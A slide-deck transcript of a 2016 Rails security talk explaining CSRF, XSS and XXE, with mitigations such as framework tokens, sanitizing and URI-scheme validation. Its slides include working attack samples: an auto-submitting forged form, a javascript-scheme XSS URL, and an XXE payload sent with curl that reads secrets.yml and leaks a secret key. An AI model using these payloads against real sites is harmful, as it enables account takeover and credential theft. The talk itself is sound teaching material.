Security is Broken: Understanding Common Vulnerabilities

Security is Broken: Understanding Common Vulnerabilities

The Internet is built on technology that was never meant to work together. Basic features in seemingly simple and innocuous technologies, such as XML, resulted in these technologies being insecure. In this session we'll talk about how attackers exploit well known vulnerabilities like XSS, XXE, and CSRF and how to make more secure software by avoiding similar decisions that resulted in these exploits.

C44e1f7e22c3f23cff7bc130871047ef?s=128

Eileen M. Uchitelle

May 24, 2016
Tweet

Transcript

  1. SECURITY IS BROKEN Understanding Common Vulnerabilities

  2. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes
  3. OPEN SOURCE Rails Committers Rails Security

  4. None
  5. None
  6. How is security broken?

  7. • Impossible to test for all possible vulnerabilities How is

    security broken?
  8. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  9. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  10. How did we get here?

  11. • Failed to enforce web standards How did we get

    here?
  12. vs.

  13. None
  14. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  15. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web
  16. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  17. None
  18. CSRF

  19. CSRF Cross-Site Request Forgery

  20. EXPLOITING CSRF

  21. None
  22. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value="eileen@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  23. None
  24. Looks the same, different URL

  25. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  26. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Attackers email
  27. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  28. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  29. Attacker’s email

  30. How dangerous are CSRF attacks?

  31. How to mitigate CSRF?

  32. • Use built-in framework CSRF protection How to mitigate CSRF?

  33. None
  34. class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

  35. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  36. Caveat: CSRF protection in Rails is order-dependent

  37. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end
  38. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end Conditional authentication
  39. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ApplicationController skip_before_action :authenticate before_action :authenticate_method, only: :create end
  40. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ApplicationController skip_before_action :authenticate before_action :authenticate_method, only: :create end Skip auth callback
  41. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ActionController::Base skip_before_action :authenticate before_action :authenticate_method, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  42. None
  43. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens How to mitigate CSRF?
  44. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens • Refresh tokens with the session / don’t reuse tokens How to mitigate CSRF?
  45. class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url

    end end Refreshes Authenticity Token
  46. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens • Refresh tokens with the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  47. XSS

  48. XSS Cross-Site Scripting

  49. EXPLOITING STORED XSS

  50. None
  51. None
  52. Escaped HTML

  53. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  54. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  55. Unescaped HTML

  56. JavaScript Scheme

  57. None
  58. javascript://example.com/%0Aalert(1)

  59. example.com/%0Aalert(1) JavaScript Scheme javascript://

  60. javascript://example.com/%0Aalert(1) URL example.com

  61. Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

  62. JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

  63. How dangerous are XSS attacks?

  64. How to mitigate XSS?

  65. • Always escape user-provided data How to mitigate XSS?

  66. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  67. None
  68. • Don’t HTML escape user-provided data • Sanitize user-provided data

    How to mitigate XSS?
  69. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  70. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  71. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  72. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  73. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  74. XXE

  75. XXE XML eXternal Entity Attack

  76. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Groceries</todo> <todo>Take Arya to the vet</todo> &ext1; <todo>Do laundry</todo> <todo>Get car oil changed</todo> </list>
  77. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Groceries</todo> <todo>Take Arya to the vet</todo> &ext1; <todo>Do laundry</todo> <todo>Get car oil changed</todo> </list> Entity reference
  78. <!-- list_items_3-4.xml --> <todo>Book flight to San Francisco</todo> <todo>Finish Security

    Talk</todo>
  79. <!-- after parsing --> <list> <todo>Groceries</todo> <todo>Take Arya to the

    vet</todo> <todo>Book flight to San Francisco</todo> <todo>Finish Security Talk</todo> <todo>Pick up beer</todo> <todo>Do laundry</todo> </list>
  80. EXPLOITING XXE

  81. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  82. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  83. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user>
  84. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Requested file
  85. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Entity reference
  86. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml POST

    request to users create
  87. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml Payload

  88. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> User’s Name
  89. None
  90. How dangerous are XXE attacks?

  91. None
  92. How to mitigate XXE?

  93. • Don’t parse XML How to mitigate XXE?

  94. Don’t parse XML

  95. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  96. >> LibXML::XML.default_substitute_entities >> true

  97. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  98. Investigate vulnerabilities & patches SECURITY

  99. GitHub
 eileencodes/security_examples

  100. owasp.org

  101. None
  102. Brakeman

  103. Resilience & empowerment SECURITY

  104. None
  105. Awareness of vulnerabilities SECURITY

  106. None
  107. To the future

  108. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes